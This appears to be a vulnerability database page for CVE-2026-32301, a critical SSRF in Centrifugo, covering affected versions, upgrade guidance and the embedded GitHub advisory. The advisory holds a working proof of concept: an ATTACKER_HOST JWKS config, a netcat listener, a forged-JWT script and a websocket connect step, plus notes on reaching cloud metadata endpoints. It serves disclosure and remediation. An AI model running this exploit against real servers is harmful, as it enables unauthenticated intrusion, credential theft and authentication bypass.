CVE-2026-32301: Centrifugo SSRF Vulnerability
CRITICALCVE-2026-32301 is a CRITICAL (CVSS 9.3) ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Centrifugo libraries in the Go ecosystem. The issue involves ssrf via unverified jwt claims interpolated into dynamic jwks endpoint url. Remediation is available by upgrading affected packages to version 6.7.0.
CVE-2026-32301 at a Glance
Security Impact
CVSS: 9.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N).
How to Fix CVE-2026-32301
To remediate this vulnerability, upgrade all affected Centrifugo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/centrifugal/centrifugo/v6 to 6.7.0
Upgrade github.com/centrifugal/centrifugo to Latest secure release
Upgrade github.com/centrifugal/centrifugo/v3 to Latest secure release
Upgrade github.com/centrifugal/centrifugo/v4 to Latest secure release
Upgrade github.com/centrifugal/centrifugo/v5 to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/centrifugal/centrifugo/v6
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-32301, inspect your project dependencies for Centrifugo:
inspect dependencies for github.com/centrifugal/centrifugo/v6
Analyze the terminal output to locate any version of Centrifugo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.7.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Centrifugo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-32301 Affected Centrifugo Versions
5 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/centrifugal/centrifugo/v6
|
Go |
< 6.7.0
|
6.7.0
|
|
github.com/centrifugal/centrifugo
|
Go |
≤ 2.4.0
|
|
|
github.com/centrifugal/centrifugo/v3
|
Go |
≤ 3.2.3
|
|
|
github.com/centrifugal/centrifugo/v4
|
Go |
≤ 4.1.5
|
|
|
github.com/centrifugal/centrifugo/v5
|
Go |
≤ 5.4.9
|
|
References
Frequently Asked Questions
What is CVE-2026-32301?
Which Centrifugo versions are affected?
What version fixes CVE-2026-32301?
Is github.com/centrifugal/centrifugo/v6 affected?
Is github.com/centrifugal/centrifugo affected?
What is the CVSS score of CVE-2026-32301?
What CWE is associated with CVE-2026-32301?
How can I check Go dependencies for CVE-2026-32301?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-j77h-rr39-c552",
"modified" : "2026-03-27T21:15:59Z",
"published" : "2026-03-13T20:03:22Z",
"aliases" : [ "CVE-2026-32301" ],
"summary" : "Centrifugo: SSRF via unverified JWT claims interpolated into dynamic JWKS endpoint URL",
"details" : "### Summary\nCentrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. `{{tenant}}`). An unauthenticated attacker can craft a JWT with a malicious `iss` or `aud` claim value that gets interpolated into the JWKS fetch URL **before the token signature is verified**, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination.\n\n### Details\nIn `internal/jwtverify/token_verifier_jwt.go`, the functions `VerifyConnectToken` and `VerifySubscribeToken` follow this flawed order of operations:\n1. Token is parsed without verification: `jwt.ParseNoVerify([]byte(t))`\n2. Claims are decoded from the unverified token\n3. `validateClaims()` runs — extracting named regex capture groups from \n `issuer_regex`/`audience_regex` into `tokenVars` map using attacker-controlled \n `iss`/`aud` claim values\n4. `verifySignatureByJWK(token, tokenVars)` is called — passing attacker-controlled \n `tokenVars` to the JWKS manager\n5. In `internal/jwks/manager.go`, `fetchKey()` interpolates `tokenVars` directly \n into the JWKS URL:\n `jwkURL := m.url.ExecuteString(tokenVars)`\n6. Centrifugo makes an HTTP GET request to the attacker-controlled URL\n\nSuppressed the security linter on this line with an incorrect comment:\n`//nolint:gosec // URL is from server configuration, not user input.`\nThe URL is NOT purely from server configuration — it is partially constructed from unverified user-supplied JWT claims.\n\nSignature verification happens too late — after the SSRF has already fired.\n\n### PoC\n**Required config** (`config.json`):\n```json\n{\n \"client\": {\n \"token\": {\n \"jwks_public_endpoint\": \"http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json\",\n \"issuer_regex\": \"^(?P[a-zA-Z0-9_-]+)\\\\.auth\\\\.example\\\\.com$\"\n }\n },\n \"http_api\": { \"key\": \"test-api-key\" }\n}\n```\n\n**Step 1** — Start listener on attacker machine:\n```\nnc -lvnp 8888\n```\n\n**Step 2** — Generate malicious unsigned JWT:\n```python\nimport base64, json\n\ndef b64url(data):\n return base64.urlsafe_b64encode(data).rstrip(b'=').decode()\n\nheader = b'{\"alg\":\"RS256\",\"kid\":\"test-kid\",\"typ\":\"JWT\"}'\npayload = b'{\"sub\":\"attacker\",\"iss\":\"evil-tenant.auth.example.com\",\"exp\":9999999999}'\ntoken = f\"{b64url(header)}.{b64url(payload)}.fakesig\"\nprint(token)\n```\n\n**Step 3** — Connect to Centrifugo WebSocket with the malicious token:\n```python\nimport websocket, json\nws = websocket.create_connection(\"ws://TARGET:8000/connection/websocket\")\nws.send(json.dumps({\"id\": 1, \"connect\": {\"token\": \"\"}}))\nprint(ws.recv())\n```\n\n**Step 4** — Observe incoming HTTP request on attacker listener:\n```\nGET /evil-tenant/.well-known/jwks.json HTTP/1.1\nHost: ATTACKER_HOST:8888\nUser-Agent: Go-http-client/1.1\n```\n\nMalicious token being crafted with suppress_origin=True bypassing the 403, and the token sent to Centrifugo:\n\n\nCentrifugo Server Log:\n\n\nnetcat terminal:\n\n\n### Impact\n- **Unauthenticated SSRF** — No valid credentials required\n- Attacker can probe and access internal network services not exposed externally\n- On cloud deployments: access to metadata endpoints (AWS: `169.254.169.254`, GCP: `metadata.google.internal`) to steal IAM credentials\n- Attacker can serve a malicious JWKS response containing their own public key, causing Centrifugo to accept attacker-signed tokens as legitimate — leading to **full authentication bypass**\n- Exploitation requires `jwks_public_endpoint` to contain `{{...}}` template variables combined with `issuer_regex` or `audience_regex` — a configuration pattern explicitly documented and promoted by Centrifugo\n \n### Suggested Fix\n\n**1. Verify signature BEFORE extracting tokenVars (critical fix):**\nIn `token_verifier_jwt.go`, swap the order of operations:\n```go\n// CURRENT (vulnerable) order:\n// 1. ParseNoVerify\n// 2. validateClaims() → populates tokenVars from unverified claims\n// 3. verifySignature(token, tokenVars) ← too late\n\n// FIXED order:\n// 1. ParseNoVerify\n// 2. verifySignature(token) ← verify first with empty/nil tokenVars\n// 3. validateClaims() → only now extract tokenVars from verified claims\n// 4. If JWKS needed, re-verify with tokenVars using verified kid only\n```\n\n**2. Fix the incorrect nolint comment in `manager.go`:**\nRemove `//nolint:gosec // URL is from server configuration, not user input` The URL IS partially constructed from user input via JWT claims.\n\n**3. Alternative mitigation:**\nRestrict template variables to only the `kid` header field (which is not claim data) rather than allowing arbitrary claim values to influence the JWKS URL.\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/centrifugal/centrifugo/v6"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "6.7.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 6.6.2"
}
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/centrifugal/centrifugo"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "2.4.0"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/centrifugal/centrifugo/v3"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "3.2.3"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/centrifugal/centrifugo/v4"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "4.1.5"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/centrifugal/centrifugo/v5"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "5.4.9"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/centrifugal/centrifugo/security/advisories/GHSA-j77h-rr39-c552"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32301"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/centrifugal/centrifugo"
}, {
"type" : "WEB",
"url" : "https://pkg.go.dev/vuln/GO-2026-4702"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-13T20:03:22Z",
"nvd_published_at" : "2026-03-13T19:54:41Z"
}
}